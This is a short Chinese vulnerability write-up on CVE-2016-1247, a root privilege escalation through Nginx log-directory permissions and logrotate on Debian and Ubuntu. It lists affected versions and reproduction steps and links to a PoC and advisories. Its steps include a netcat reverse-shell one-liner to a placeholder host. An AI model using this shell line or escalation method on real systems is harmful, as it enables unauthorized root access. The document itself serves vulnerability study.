0x00 漏洞介绍
-产生原因:Nginx在创建log目录时使用了不安全的权限配置,
可造成本地权限的提升,攻击手法主要通过从www-data权限向root用 户权限提权得到。
-影响范围(以下版本之前均受影响):
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
0x01 漏洞复现
A.环境介绍:
操作机:xp
目标机:ubuntu 12.04
B.原理分析:
1.由于nginx服务的配置失误,在基于 debain的 Nginx会在/var/log/nginx路径下,
以www-data权限新建日志目录。
2.该该目录下的error.log文件具有root权限(版本未修复前),这就是我们本次漏洞利用的突破口。
3.我们通过符号链接的方式可以连到任意文件来替换日志文件,从而实现提权操作。
4.linux内部提权过程:在文件替换后,nginx就会重新打开日志文件。此时就有两种方式:
a. reboot ngnix。
b.nginx demon形式。该形式需要USR1进程间信号,调用信号必然会 重载配置文件;
该过程通过logrotate脚本调用实现,根本原因是通过脚本中do-rotate函数 触发实现。
这是该漏洞的根本利用点,也是我们后面写poc和exp的依据。
0x02 漏洞触发与复现
1.上传提权脚本(放在tem目录下)
2.nc反弹shell,实现提权(mknod backpipe p; nc ip 9999<backpip|/bin/bash|>backpipe>)
3.等待logrotation脚本的自动调用。
4.用who am i 对比权限间的区别。
0x03 漏洞利用
用hook操作改变程序流程,实现所需操作,从而间接实现对函数功能的修改...
0x04 漏洞poc
https://www.seebug.org/vuldb/ssvid-92538
0x05 参考网站
https://security-tracker.debian.org/tracker/CVE-2016-1247](https://security-tracker.debian.org/tracker/CVE-2016-1247)
http://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html